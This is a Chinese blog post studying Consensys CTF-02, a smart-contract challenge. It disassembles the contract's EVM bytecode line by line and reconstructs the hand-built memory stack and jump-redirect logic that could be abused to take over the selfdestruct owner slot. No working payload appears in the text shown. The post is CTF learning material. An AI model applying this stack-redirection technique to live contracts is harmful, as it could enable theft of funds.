Consensys CTF-02 栈溢出重定向利用

  • bixia1994
  • 更新于 2021-06-20 12:47
  • 阅读 3035

这是Consensys 在2019年推出的有奖竞猜系列2, 比之前的CTF-01“以太坊沙盒”要难上不少。:smiley:

Consensys CTF-02 栈溢出重定向利用

基于samczsun的解析文章学习

分析原文:

本文都是基于https://samczsun.com/consensys-ctf-2-rop-evm/ 这篇文章进行的分析,如有需要可以参考原文。谢绝转载!!! image20210619193753465.png

不允许未经本人同意转载,本文为原创文章

问题描述:

这是Consensys 在2019年推出的有奖竞猜系列2, 比之前的CTF-01“以太坊沙盒”要难上不少。这个CTF中跟上篇文章一样也是没有公开源码,甚至于现在Etherscan上都找不到对应的合约。当然他的合约地址在0xefa51bc7aafe33e6f0e4e44d19eab7595f4cca87 。本CTF的要求很简单,利用其合约中提供的一个自毁方法,拿到所有的ETH。是不是听起来很简单呢?:smile:

OPCODE代码复原:

:point_right: 首先是借助于工具,拿到该合约的bytecode码,和机器翻译的solidity代码。https://contract-library.com/contracts/Ethereum/0xEFA51BC7AAFE33E6F0E4E44D19EAB7595F4CCA87

image20210619194447400.png

从工具上可以看到,存在5个公开的函数,和两个全局变量:get 占据slot0 和 die 占据slot1。

首先看函数:die()

function die() public payable { 
    require(msg.sender == _die);
    selfdestruct(_die);
}

可以看到这应该是我们最后要取得该题解答的函数,只要保证msg.sender == die即可通过selfdestruct(_dit)拿到所有的ETH,从而解答该题。看起来好像很简单的样子哦:laughing:

再看函数:get()

function get() public { 
    require(msg.sender != _get);
    return _get;
}

这个get函数应该是用来返回slot0的值的,看起来也很简单:smiley:

在分析函数:set(uint256 varg0)

function set(uint256 varg0) public payable { 
    0xe8();
    v0, v1 = 0xb4();
    MEM[MEM[256] + 32] = 836;
    MEM[MEM[256] + 32 + 32] = varg0;
    MEM[MEM[256] + 32 + 32 + 32] = 0;
    STORAGE[MEM[MEM[256] + 32 + 32 + 32]] = MEM[MEM[256] + 32 + 32 + 32 - 32];
    MEM[256] = MEM[256] + 32 + 32 + 32 - 32 - 32 - 32 - 32;
    MEM[256] = MEM[MEM[256] + 32 + 32 + 32 - 32 - 32 - 32];
}

如果仅仅看翻译过来的solidity代码,可以看到有一个给STORAGE赋值的操作,也许我们可以利用它,来将我们的msg.sender地址赋值给到die

在这里,我们需要分析下OPCODE代码,来接触到本题的核心——手动构建的栈

这里我们将逐行手动标记OPCODE的执行栈空间,来分析该set(uint256)函数. 函数签名为:60fe47b1

首先是函数选择器部分
0x0: PUSH3     0x100000     0x10000
0x4: PUSH1     0x40         0x10000 0x40
0x6: MSTORE                 
0x7: PUSH1     0x4          0x4
0x9: CALLDATASIZE           0x24
0xa: LT                     0x0
0xb: PUSH2     0x68         0x0 0x68
0xe: JUMPI                  
0xf: PUSH1     0x0          0x0
0x11: CALLDATALOAD          0x60fe47b1...
0x12: PUSH29    0x100000000000000000000000000000000000000000000000000000000     0x60fe47b1... 0x100...
0x30: SWAP1                 0x100.. 0x60fe47b1...
0x31: DIV                   0x60fe47b1
0x32: PUSH4     0xffffffff   0x60fe47b1 0xffffffff
0x37: AND                   0x60fe47b1
0x38: DUP1                  0x60fe47b1 0x60fe47b1
0x39: PUSH4     0x7909947a      
0x3e: EQ        
0x3f: PUSH2     0x23a
0x42: JUMPI     
0x43: DUP1      
0x44: PUSH4     0x60fe47b1  0x60fe47b1 0x60fe47b1 0x60fe47b1
0x49: EQ                    0x60fe47b1 0x1
0x4a: PUSH2     0x30f       0x60fe47b1 0x1 0x30f
0x4d: JUMPI                 0x60fe47b1

函数选择器首先是拿到了函数签名,然后与合约中public,external的函数签名进行比对,EQ返回1后,再跳转到对应的函数wrapper中。下面我们看线函数包装器中是怎么样的逻辑

这部分是函数包装器部分,但实际上定义了函数的整个逻辑框图 
再没有具体跳进去看每一个函数前,假设函数不影响栈结构
0x30f: JUMPDEST             0x60fe47b1
0x310: PUSH2     0x317      0x60fe47b1 0x317
0x313: PUSH2     0xe8       0x60fe47b1 0x317 0xe8
0x316: JUMP                 0x60fe47b1 0x317
0x317: JUMPDEST             0x60fe47b1
0x318: PUSH2     0x31f      0x60fe47b1 0x31f
0x31b: PUSH2     0xb4       0x60fe47b1 0x31f 0xb4
0x31e: JUMP                 0x60fe47b1 0x31f
0x31f: JUMPDEST             0x60fe47b1
0x320: PUSH2     0x32a      0x60fe47b1 0x32a
0x323: PUSH2     0x344      0x60fe47b1 0x32a 0x344
0x326: PUSH2     0x8c       0x60fe47b1 0x32a 0x344 0x8c
0x329: JUMP                 0x60fe47b1 0x32a 0x344
0x32a: JUMPDEST             0x60fe47b1
0x32b: PUSH2     0x335      0x60fe47b1 0x335
0x32e: PUSH1     0x4        0x60fe47b1 0x335 0x4
0x330: CALLDATALOAD         0x60fe47b1 0x335 Id[4:36]
0x331: PUSH2     0x8c       0x60fe47b1 0x335 Id[4:36] 0x8c
0x334: JUMP                 0x60fe47b1 0x335 Id[4:36]
0x335: JUMPDEST             0x60fe47b1 
0x336: PUSH2     0x33f      0x60fe47b1 0x33f
0x339: PUSH1     0x0        0x60fe47b1 0x33f 0x0
0x33b: PUSH2     0x8c       0x60fe47b1 0x33f 0x0 0x8c
0x33e: JUMP                 0x60fe47b1 0x33f 0x0
0x33f: JUMPDEST             0x60fe47b1
0x340: PUSH2     0x2ea      0x60fe47b1 0x2ea
0x343: JUMP                 0x60fe47b1
0x344: JUMPDEST             0x60fe47b1
0x345: PUSH1     0x0        
0x347: PUSH1     0x0
0x349: RETURN    

=> 翻译一下
function set(uint256 value) public nonPayable{
    push_stack_frame();
    uint redirectTo = 0x344;
    push_stack(redirectTo);
    uint256 newStackPointer;
    assembly{
        newStackPointer := calldataload(0x04)
    }
    push_stack(newStackPointer);
    push_stack(0x00);
    set_impl();
}
classDiagram
      start --|> 0xe8
      0xe8 --|> 0xb4
      0xb4 --|> 0x8c_0x344
      0x8c_0x344 --|> 0x8c_CALLDATALOAD
      0x8c_CALLDATALOAD --|> 0x8c_0x00
      0x8c_0x00 --|> 0x2ea

      class start {
        0x30f JUMDEST
      }

      class 0x8c_0x344{
        0x329 IN
        0x32A OUT
      }
      class 0x8c_CALLDATALOAD{
        0x331 IN
        0x335 OUT
      }
      class 0x8c_0x00{
        0x33E IN
        0x33F OUT
      }
      class 0xb4{
        0x31E IN
        0x31F OUT
      }
      class 0xe8{
          0x316 IN
          0x317 OUT
      }
      class 0x2ea{
          0x343 IN
      }

拿到函数wrapper时,先不要具体全部都跳进去看细节,我们先看下整个流程是怎样的,有几处内部调用,以及最后从哪里返回。

首先是0x30f为进入点,先调用0xe8, 然后返回到0x317, 再依次调用0xb4, 返回到0x31f, 再调用0x8c, 带参数0x344,返回到0x32a, 在调用一次0x8c, 带参数为CALLDATALOAD(0x4), 返回到0x335, 再调用0x8c, 带参数0x0, 返回到0x33f, 然后调用0x2ea函数,不确定返回值在哪。通过流程图可以清晰看到基本上是一个顺序调用的关系。接下来要分析每一个函数都在干嘛,作用是啥:cry:

:fish: 首先看0xe8

简单说是判断该函数是否是Payable,如果不是Payable, 则如果函数调用时传送了ETH,流程就会回退。

0xe8: JUMPDEST          0x60fe47b1 0x317
0xe9: CALLVALUE         0x60fe47b1 0x317 0x0
0xea: ISZERO            0x60fe47b1 0x317 0x01
0xeb: PUSH2     0xc1    0x60fe47b1 0x317 0x01 0xc1
0xee: JUMPI             0x60fe47b1 0x317

0xc1: JUMPDEST          0x60fe47b1 0x317
0xc2: JUMP              0x60fe47b1

=> 翻译成solidity
modifier nonPayable() {
    require(msg.value == 0);
    _;
}

:fish:我们再看0xb4

可以看到其在内部调用了0x8c, 然后返回到0xbf处. 简单说作用是把当前内存地址为100的值放入手动构建的栈里

0xb4: JUMPDEST              0x60fe47b1 0x31f
0xb5: PUSH2     0xbf        0x60fe47b1 0x31f 0xbf
0xb8: PUSH2     0x100       0x60fe47b1 0x31f 0xbf 0x100
0xbb: MLOAD                 0x60fe47b1 0x31f 0xbf M[100]
0xbc: PUSH2     0x8c        0x60fe47b1 0x31f 0xbf M[100] 0x8c
0xbf: JUMPDEST              0x60fe47b1 0x31f 0xbf M[100] 0x8c
0xc0: JUMP                  0x60fe47b1 0x31f 0xbf M[100]
此处调用函数0x8c, 参数为M[100], 函数返回再0xbf处,第二次调用栈如下:
0xbf: JUMPDEST              0x60fe47b1 0x31f
0xc0: JUMP                  0x60fe47b1

=> 翻译成solidity
function push_stack_frame() private {
    uint256 value;
    assembly{
        value := mload(0x100)
    }
    push_stack(value)
}

:fish:接下来的是0x8c

从上面的分析可以看出,该函数有一个参数,返回值为0. 简单来讲是再内存中手动构建一个栈,每次push一个值到栈顶,同时跟新栈顶指向的内存地址。注意该值是32位长,如果过长就会覆盖栈里的其他元素。这也是要解答这个题目必须理解的一点。

0x8c: JUMPDEST              0x60fe47b1 backpointer value
0x8d: PUSH1     0x20        0x60fe47b1 backpointer value 0x20
0x8f: PUSH2     0x100       0x60fe47b1 backpointer value 0x20 0x100
0x92: MLOAD                 0x60fe47b1 backpointer value 0x20 M[100]
0x93: ADD                   0x60fe47b1 backpointer value M[100]+0x20
0x94: DUP1                  0x60fe47b1 backpointer value M[100]+0x20 M[100]+0x20
0x95: PUSH2     0x100       0x60fe47b1 backpointer value M[100]+0x20 M[100]+0x20 0x100
0x98: MSTORE                0x60fe47b1 backpointer value M[100]+0x20
0x99: MSTORE                0x60fe47b1 backpointer 
0x9a: JUMP                  0x60fe47b1

=> 翻译一下
function push_stack(uint256 value) private {
    uint temp;
    assembly{
        temp := mload(0x100)
        mstore(add(temp, 0x20), value)
        mstore(0x100, add(temp, 0x20))
    }
}

:fish:接下来是0x2ea

这个函数后面的控制流程还不清楚. 可以看到该函数内部有一个关键的OPCODE``: SSTORE, 这是我们最关心的。因为我们需要更改slot1的值,以便于获取该合约的所有Ether。同时我们可以看到再该函数内部,也调用了相当多的函数。简单看我们发现函数调用顺序是 0x2ea -> 0x9b -> 0x9b -> 0xc3. 可以猜测0x9b不需要参数,但返回1个值到栈里,0xc3也不需要参数

0x2ea: JUMPDEST             0x60fe47b1
0x2eb: PUSH1     0x20       0x60fe47b1 0x20
0x2ed: PUSH2     0x100      0x60fe47b1 0x20 0x100
0x2f0: MLOAD                0x60fe47b1 0x20 M[100]
0x2f1: SUB                  0x60fe47b1 M[100]-0x20
0x2f2: MLOAD                0x60fe47b1 M[M[100]-0x20]
0x2f3: PUSH2     0x100      0x60fe47b1 M[M[100]-0x20] 0x100
0x2f6: MLOAD                0x60fe47b1 M[M[100]-0x20] M[100]
0x2f7: MLOAD                0x60fe47b1 M[M[100]-0x20] M[M[100]]
0x2f8: SSTORE               0x60fe47b1
0x2f9: PUSH2     0x300      0x60fe47b1 0x300
0x2fc: PUSH2     0x9b       0x60fe47b1 0x300 0x9b
0x2ff: JUMP                 0x60fe47b1 0x300
0x300: JUMPDEST             0x60fe47b1 returnValue
0x301: POP                  0x60fe47b1
0x302: PUSH2     0x309      0x60fe47b1 0x309
0x305: PUSH2     0x9b       0x60fe47b1 0x309 0x9b
0x308: JUMP                 0x60fe47b1 0x309
0x309: JUMPDEST             0x60fe47b1 returnValue
0x30a: POP                  0x60fe47b1
0x30b: PUSH2     0xc3       0x60fe47b1 0xc3
0x30e: JUMP                 0x60fe47b1
=> 翻译一下
function set_impl() private{
    uint temp0;
    uint temp1
    assembly{
        temp0 := mload(0x100) //M[100]
        temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]
        sstore(mload(temp0), temp1)
    }
    pop_stack();
    pop_stack();
    pop_stack_frame();
}

:duck: 先整体理解下0x2ea, 它主要将栈顶的值作为键,将栈里第1个元素的值作为值,储存再以太坊上。然后将栈里的值弹出来,弹出两个栈里的值,然后弹出栈的Frame。

:fish:先看0x9b函数,

简单看是拿到栈顶的元素,然后将栈的指针向下移动0x20

0x9b: JUMPDEST              0x60fe47b1 backpointer
0x9c: PUSH2     0x100       0x60fe47b1 backpointer 0x100    
0x9f: MLOAD                 0x60fe47b1 backpointer M[100]
0xa0: MLOAD                 0x60fe47b1 backpointer M[M[100]]
0xa1: PUSH1     0x20        0x60fe47b1 backpointer M[M[100]] 0x20
0xa3: PUSH2     0x100       0x60fe47b1 backpointer M[M[100]] 0x20 0x100
0xa6: MLOAD                 0x60fe47b1 backpointer M[M[100]] 0x20 M[100]
0xa7: SUB                   0x60fe47b1 backpointer M[M[100]] M[100]-0x20
0xa8: PUSH2     0x100       0x60fe47b1 backpointer M[M[100]] M[100]-0x20 0x100
0xab: MSTORE                0x60fe47b1 backpointer M[M[100]]
0xac: SWAP1                 0x60fe47b1 M[M[100]] backpointer
0xad: JUMP                  0x60fe47b1 M[M[100]]

=> 翻译一下
function pop_stack() private returns (uint256) {
    uint value;
    uint temp;
    assembly{
        temp := mload(0x100)
        value := mload(temp)
        mstore(0x100, sub(temp, 0x20))
    }
    return value;
}

:fish:再看0xc3函数,

可以看淡这个函数里面也是调用了多个函数。函数调用顺序为:0xc3 -> 0x9b -> 0x9b -> 0xae -> J(returnValue) 简单来说,弹出两个栈里的值,第一个值作为后面流程重定向的位置,第二个值作为新的STACK的内存起点

0xc3: JUMPDEST              0x60fe47b1
0xc4: PUSH2     0xcb        0x60fe47b1 0xcb
0xc7: PUSH2     0x9b        0x60fe47b1 0xcb 0x9b        
0xca: JUMP                  0x60fe47b1 0xcb
0xcb: JUMPDEST              0x60fe47b1 returnValue
0xcc: PUSH2     0xd3        0x60fe47b1 returnValue 0xd3
0xcf: PUSH2     0x9b        0x60fe47b1 returnValue 0xd3 0x9b
0xd2: JUMP                  0x60fe47b1 returnValue 0xd3 
0xd3: JUMPDEST              0x60fe47b1 returnValue returnValue2
0xd4: PUSH2     0xdc        0x60fe47b1 returnValue returnValue2 0xdc
0xd7: SWAP1                 0x60fe47b1 returnValue 0xdc returnValue2
0xd8: PUSH2     0xae        0x60fe47b1 returnValue 0xdc returnValue2 0xae
0xdb: JUMP                  0x60fe47b1 returnValue 0xdc returnValue2
0xdc: JUMPDEST              0x60fe47b1 returnValue 
0xdd: JUMP                  0x60fe47b1 J(returnValue)
0xde: JUMPDEST  

=> 翻译一下
function pop_stack_frame() private {
    int redirectTo;
    int pointer;
    redirectTo = pop_stack();
    pointer = pop_stack();
    newStackPointer(pointer);
    assembly {
        jump(redirectTo)
    }
}

:fish:我们看0xae 函数,

这个函数很简单,就是把它的参数赋值到M[100]中,但意义很重大,意义是定义新的STACK的内存起点。因为STack的内存起点就是M[100]

0xae: JUMPDEST              0x60fe47b1 returnValue 0xdc returnValue2
0xaf: PUSH2     0x100       0x60fe47b1 returnValue 0xdc returnValue2 0x100
0xb2: MSTORE                0x60fe47b1 returnValue 0xdc 
0xb3: JUMP                  0x60fe47b1 returnValue
=> 翻译一下
function newStackPointer(uint256 pointer) {
    assembly{
        mstore(0x100, pointer)
    }
}

:rainbow:分析到这里,需要我们梳理一下手动构造的栈里到底存了啥?set(uint256 varg0)函数到底干了什么

function set(uint256 value) public nonPayable{
    push_stack_frame();
    uint redirectTo = 0x344;
    push_stack(redirectTo);
    push_stack(value);
    push_stack(0x00);
    set_impl();
}
function set_impl() private{
    uint temp0;
    uint temp1
    assembly{
        temp0 := mload(0x100) //M[100]
        temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]
        sstore(mload(temp0), temp1)
    }
    pop_stack();
    pop_stack();
    pop_stack_frame();
}
function pop_stack_frame() private {
    int redirectTo;
    int pointer;
    redirectTo = pop_stack();
    pointer = pop_stack();
    newStackPointer(pointer);
    assembly {
        jump(redirectTo)
    }
}
label redirectTo: 
    0x344: JUMPDEST  
    0x345: PUSH1     0x0
    0x347: PUSH1     0x0
    0x349: RETURN   
=> 翻译一下
function set(uint256 value) public nonPayable {
    assembly{
        sstore(0x00, value)
    }
}

:rainbow_flag: 该函数首先是把frame压到栈里,再压入后面的redirectTo重定向位点压入栈里,再压入栈顶指针,再压入0x00,后面将栈顶的值作为key,栈里顺序1的元素作为值写到以太坊中。之后弹出栈顶0x00, 弹出栈顶指针,弹出重定向位点,并保存到redirecTo变量中,再弹出frame,并把frame作为新的栈顶指针创建新的栈,最后跳转到重定向位点。

:honey_pot: 分析蜜汁函数0x7909947a()

可以看到这个函数内部也是调用了很多其他的函数。函数调用顺序为:

0x23a -> 0xde -> 0x8c(0x0) -> 0x8c(0x0) -> 0xb4 -> 0x8c(0x29b) -> 0x8c(90000) -> 0x8c(0x28a) -> 0x8c(size) -> 0x15d

0x23a: JUMPDEST                 0x7909947a 
0x23b: PUSH2     0x242          0x7909947a 0x242
0x23e: PUSH2     0xde           0x7909947a 0x242
0x241: JUMP                     0x7909947a 0x242      
0x242: JUMPDEST                 0x7909947a
0x243: PUSH2     0x24c          0x7909947a 0x24c
0x246: PUSH1     0x0            0x7909947a 0x24c 0x0
0x248: PUSH2     0x8c           0x7909947a 0x24c 0x0 0x8c
0x24b: JUMP                     0x7909947a 0x24c 0x0
0x24c: JUMPDEST                 0x7909947a
0x24d: PUSH2     0x100          0x7909947a 0x100
0x250: MLOAD                    0x7909947a M[100]
0x251: PUSH2     0x25a          0x7909947a M[100] 0x25a
0x254: PUSH1     0x0            0x7909947a M[100] 0x25a 0x0
0x256: PUSH2     0x8c           0x7909947a M[100] 0x25a 0x0 0x8c
0x259: JUMP                     0x7909947a M[100] 0x25a 0x0
0x25a: JUMPDEST                 0x7909947a M[100]
0x25b: CALLDATASIZE             0x7909947a M[100] size
0x25c: PUSH1     0x44           0x7909947a M[100] size 0x44
0x25e: PUSH3     0x90000        0x7909947a M[100] size 0x44 0x90000
0x262: CALLDATACOPY             0x7909947a M[100]
0x263: PUSH2     0x26a          0x7909947a M[100] 0x26a 
0x266: PUSH2     0xb4           0x7909947a M[100] 0x26a 0xb4
0x269: JUMP                     0x7909947a M[100] 0x26a
0x26a: JUMPDEST                 0x7909947a M[100]
0x26b: PUSH2     0x275          0x7909947a M[100] 0x275
0x26e: PUSH2     0x29b          0x7909947a M[100] 0x275 0x29b
0x271: PUSH2     0x8c           0x7909947a M[100] 0x275 0x29b 0x8c
0x274: JUMP                     0x7909947a M[100] 0x275 0x29b
0x275: JUMPDEST                 0x7909947a M[100]
0x276: PUSH2     0x281          0x7909947a M[100] 0x281
0x279: PUSH3     0x90000        0x7909947a M[100] 0x281 0x90000
0x27d: PUSH2     0x8c           0x7909947a M[100] 0x281 0x90000 0x8c
0x280: JUMP                     0x7909947a M[100] 0x281 0x90000
0x281: JUMPDEST                 0x7909947a M[100]
0x282: PUSH2     0x28a          0x7909947a M[100] 0x28a
0x285: DUP2                     0x7909947a M[100] 0x28a topPointer
0x286: PUSH2     0x8c           0x7909947a M[100] 0x28a topPointer 0x8c
0x289: JUMP                     0x7909947a M[100] 0x28a 0x28a
0x28a: JUMPDEST                 0x7909947a M[100]
0x28b: PUSH2     0x296          0x7909947a M[100] 0x296
0x28e: PUSH1     0x44           0x7909947a M[100] 0x296 0x44
0x290: CALLDATASIZE             0x7909947a M[100] 0x296 0x44 size
0x291: SUB                      0x7909947a M[100] 0x296 size-0x44
0x292: PUSH2     0x8c           0x7909947a M[100] 0x296 size-0x44 0x8c
0x295: JUMP                     0x7909947a M[100] 0x296 size-0x44
0x296: JUMPDEST                 0x7909947a M[100]
0x297: PUSH2     0x15d          0x7909947a M[100] 0x15d
0x29a: JUMP                     0x7909947a M[100]
0x29b: JUMPDEST                 0x7909947a M[100] 
0x29c: PUSH2     0x2a3          0x7909947a M[100] 0x2a3
0x29f: PUSH2     0xb4           0x7909947a M[100] 0x2a3 0xb4
0x2a2: JUMP                     0x7909947a M[100] 0x2a3
0x2a3: JUMPDEST                 0x7909947a M[100]
0x2a4: PUSH2     0x2ae          0x7909947a M[100] 0x2ae
0x2a7: PUSH2     0x2bc          0x7909947a M[100] 0x2ae 0x2bc
0x2aa: PUSH2     0x8c           0x7909947a M[100] 0x2ae 0x2bc 0x8c
0x2ad: JUMP                     0x7909947a M[100] 0x2ae 0x2bc 
0x2ae: JUMPDEST                 0x7909947a M[100]
0x2af: PUSH2     0x2b7          0x7909947a M[100] 0x2b7
0x2b2: DUP2                     0x7909947a M[100] 0x2b7 0x2b7
0x2b3: PUSH2     0x8c           0x7909947a M[100] 0x2b7 0x2b7 0x8c
0x2b6: JUMP                     0x7909947a M[100] 0x2b7 0x2b7
0x2b7: JUMPDEST                 0x7909947a M[100]
0x2b8: PUSH2     0xf3           0x7909947a M[100] 0xf3
0x2bb: JUMP                     0x7909947a M[100]

=> 翻译一下
function 0x7909947a() public {
    stack_pointer_init();
    push_stack(0x0);
    uint topPointer;
    assembly{
        topPointer := mload(0x100)
    }
    push_stack(0x0);
    uint size;
    assembly {
        size := calldatasize()
        calldatacopy(0x90000, 0x44, size)
    }
    push_stack_frame();
    uint return_pointer = 0x29b;
    push_stack(return_pointer);
    push_stack(0x90000);
    push_stack(topPointer);
    push_stack(size-0x44);
    0x7909947a_impl();
}

:tropical_fish: 首先是0xde

这里给0xde取名叫stack_pointer_init(),原因很简单,因为其作用是初始化内存地址100的值为固定值0x100. 其实作用是初始化内存栈的栈顶。

0xde: JUMPDEST              0x7909947a backPointer 
0xdf: PUSH2     0xe6        0x7909947a backPointer 0xe6
0xe2: PUSH2     0x7c        0x7909947a backPointer 0xe6 0x7c
0xe5: JUMP                  0x7909947a backPointer 0xe6
0xe6: JUMPDEST              0x7909947a backPointer 
0xe7: JUMP                  0x7909947a

0x7c: JUMPDEST              0x7909947a backPointer 0xe6
0x7d: PUSH2     0x100       0x7909947a backPointer 0xe6 0x100
0x80: PUSH2     0x100       0x7909947a backPointer 0xe6 0x100 0x100
0x83: MSTORE                0x7909947a backPointer 0xe6 
0x84: JUMP                  0x7909947a backPointer 
=> 翻译一下
function stack_pointer_init() private {
    assembly{
        mstore(0x100, 0x100)
    }
}

:tropical_fish: 再是0x15d

分析该函数,发现函数内部调用的顺序为:0x15d -> 0x8c(0x0) -> 0x168(循环, 0x1ce跳出循环) -> 0x1e0(循环,0x211跳出循环) -> 0x9b -> 0x9b -> 0x9b -> 0x9b -> 0xc3

0x15d: JUMPDEST                 0x7909947a framePointer
0x15e: PUSH2     0x167          0x7909947a framePointer 0x167
0x161: PUSH1     0x0            0x7909947a framePointer 0x167 0x0
0x163: PUSH2     0x8c           0x7909947a framePointer 0x167 0x0 0x8c
0x166: JUMP                     0x7909947a framePointer 0x167 0x0
0x167: JUMPDEST                 0x7909947a framePointer
0x168: JUMPDEST                 
0x169: PUSH1     0x20           0x7909947a framePointer 0x20
0x16b: PUSH2     0x100          0x7909947a framePointer 0x20 0x100
0x16e: MLOAD                    0x7909947a framePointer 0x20 M[100]
0x16f: SUB                      0x7909947a framePointer M[100]-0x20
0x170: MLOAD                    0x7909947a framePointer M[M[100]-0x20]
0x171: PUSH2     0x100          0x7909947a framePointer M[M[100]-0x20] 0x100
0x174: MLOAD                    0x7909947a framePointer M[M[100]-0x20] M[100]
0x175: MLOAD                    0x7909947a framePointer M[M[100]-0x20] M[M[100]]
0x176: SUB                      0x7909947a framePointer M[M[100]]-M[M[100]-0x20]
0x177: ISZERO                   0x7909947a framePointer nonZero
0x178: PUSH2     0x1ce          0x7909947a framePointer nonZero 0x1ce
0x17b: JUMPI                    0x7909947a framePointer 
0x17c: PUSH32    0x100000000000000000000000000000000000000000000000000000000000000 0x7909947a framePointer 0x10..
0x19d: PUSH2     0x100          0x7909947a framePointer 0x10.. 0x100
0x1a0: MLOAD                    0x7909947a framePointer 0x10.. M[100]
0x1a1: MLOAD                    0x7909947a framePointer 0x10.. M[M[100]]
0x1a2: PUSH1     0x60           0x7909947a framePointer 0x10.. M[M[100]] 0x60
0x1a4: PUSH2     0x100          0x7909947a framePointer 0x10.. M[M[100]] 0x60 0x100
0x1a7: MLOAD                    0x7909947a framePointer 0x10.. M[M[100]] 0x60 M[100]
0x1a8: SUB                      0x7909947a framePointer 0x10.. M[M[100]] M[100]-0x60
0x1a9: MLOAD                    0x7909947a framePointer 0x10.. M[M[100]] M[M[100]-0x60]
0x1aa: ADD                      0x7909947a framePointer 0x10.. M[M[100]]+M[M[100]-0x60]
0x1ab: MLOAD                    0x7909947a framePointer 0x10.. M[M[M[100]]+M[M[100]-0x60]]
0x1ac: DIV                      0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10..
0x1ad: PUSH2     0x100          0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. 0x100
0x1b0: MLOAD                    0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[100]
0x1b1: MLOAD                    0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]]
0x1b2: PUSH1     0x40           0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x40
0x1b4: PUSH2     0x100          0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x40 0x100
0x1b7: MLOAD                    0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x40 M[100]
0x1b8: SUB                      0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] M[100]-0x40
0x1b9: MLOAD            0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] M[M[100]-0x40]
0x1ba: ADD              0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]]+M[M[100]-0x40]
0x1bb: MSTORE8                  0x7909947a framePointer
0x1bc: JUMPDEST                 0x7909947a framePointer
0x1bd: PUSH1     0x1            0x7909947a framePointer 0x1
0x1bf: PUSH2     0x100          0x7909947a framePointer 0x1 0x100
0x1c2: MLOAD                    0x7909947a framePointer 0x1 M[100]
0x1c3: MLOAD                    0x7909947a framePointer 0x1 M[M[100]]
0x1c4: ADD                      0x7909947a framePointer 0x1+M[M[100]]
0x1c5: PUSH2     0x100          0x7909947a framePointer 0x1+M[M[100]] 0x100
0x1c8: MLOAD                    0x7909947a framePointer 0x1+M[M[100]] M[100]
0x1c9: MSTORE                   0x7909947a framePointer
0x1ca: PUSH2     0x168          0x7909947a framePointer 0x168
0x1cd: JUMP                     0x7909947a framePointer
0x1ce: JUMPDEST                 0x7909947a framePointer
0x1cf: PUSH1     0x0            0x7909947a framePointer 0x0
0x1d1: PUSH2     0x100          0x7909947a framePointer 0x0 0x100
0x1d4: MLOAD                    0x7909947a framePointer 0x0 M[100]
0x1d5: MLOAD                    0x7909947a framePointer 0x0 M[M[100]]
0x1d6: PUSH1     0x40           0x7909947a framePointer 0x0 M[M[100]] 0x40
0x1d8: PUSH2     0x100          0x7909947a framePointer 0x0 M[M[100]] 0x40 0x100
0x1db: MLOAD                    0x7909947a framePointer 0x0 M[M[100]] 0x40 M[100]
0x1dc: SUB                      0x7909947a framePointer 0x0 M[M[100]] M[100]-0x40
0x1dd: MLOAD                    0x7909947a framePointer 0x0 M[M[100]] M[M[100]-0x40]
0x1de: ADD                      0x7909947a framePointer 0x0 M[M[100]]+M[M[100]-0x40]
0x1df: MSTORE8                  0x7909947a framePointer
0x1e0: JUMPDEST                 0x7909947a framePointer
0x1e1: PUSH1     0x40           0x7909947a framePointer 0x40
0x1e3: PUSH2     0x100          0x7909947a framePointer 0x40 0x100
0x1e6: MLOAD                    0x7909947a framePointer 0x40 M[100]
0x1e7: MLOAD                    0x7909947a framePointer 0x40 M[M[100]]
0x1e8: MOD                      0x7909947a framePointer M[M[100]]%0x40
0x1e9: ISZERO                   0x7909947a framePointer nonZero
0x1ea: PUSH2     0x211          0x7909947a framePointer nonZero 0x211
0x1ed: JUMPI                    0x7909947a framePointer
0x1ee: PUSH1     0x0            0x7909947a framePointer 0x0
0x1f0: PUSH2     0x100          0x7909947a framePointer 0x0 0x100
0x1f3: MLOAD                    0x7909947a framePointer 0x0 M[100]
0x1f4: MLOAD                    0x7909947a framePointer 0x0 M[M[100]]
0x1f5: PUSH1     0x40           0x7909947a framePointer 0x0 M[M[100]] 0x40
0x1f7: PUSH2     0x100          0x7909947a framePointer 0x0 M[M[100]] 0x40 0x100
0x1fa: MLOAD                    0x7909947a framePointer 0x0 M[M[100]] 0x40 M[100]
0x1fb: SUB                      0x7909947a framePointer 0x0 M[M[100]] M[100]-0x40
0x1fc: MLOAD                    0x7909947a framePointer 0x0 M[M[100]] M[M[100]-0x40]
0x1fd: ADD                      0x7909947a framePointer 0x0 M[M[100]]+M[M[100]-0x40]
0x1fe: MSTORE8                  0x7909947a framePointer
0x1ff: JUMPDEST                 0x7909947a framePointer
0x200: PUSH1     0x1            0x7909947a framePointer 0x1
0x202: PUSH2     0x100          0x7909947a framePointer 0x1 0x100
0x205: MLOAD                    0x7909947a framePointer 0x1 M[100]
0x206: MLOAD                    0x7909947a framePointer 0x1 M[M[100]]
0x207: ADD                      0x7909947a framePointer 0x1+M[M[100]]
0x208: PUSH2     0x100          0x7909947a framePointer 0x1+M[M[100]] 0x100
0x20b: MLOAD                    0x7909947a framePointer 0x1+M[M[100]] M[100]
0x20c: MSTORE                   0x7909947a framePointer
0x20d: PUSH2     0x1e0          0x7909947a framePointer 0x1e0
0x210: JUMP                     0x7909947a framePointer
0x211: JUMPDEST                 0x7909947a framePointer
0x212: PUSH2     0x219          0x7909947a framePointer 0x219
0x215: PUSH2     0x9b           00x7909947a framePointer 0x219 0x9b
0x218: JUMP                     0x7909947a framePointer 0x219
0x219: JUMPDEST                 0x7909947a framePointer returnValue
0x21a: POP                      0x7909947a framePointer 
0x21b: PUSH2     0x222          0x7909947a framePointer 0x222
0x21e: PUSH2     0x9b           0x7909947a framePointer 0x222 0x9b
0x221: JUMP                     0x7909947a framePointer 0x222
0x222: JUMPDEST                 0x7909947a framePointer returnValue2
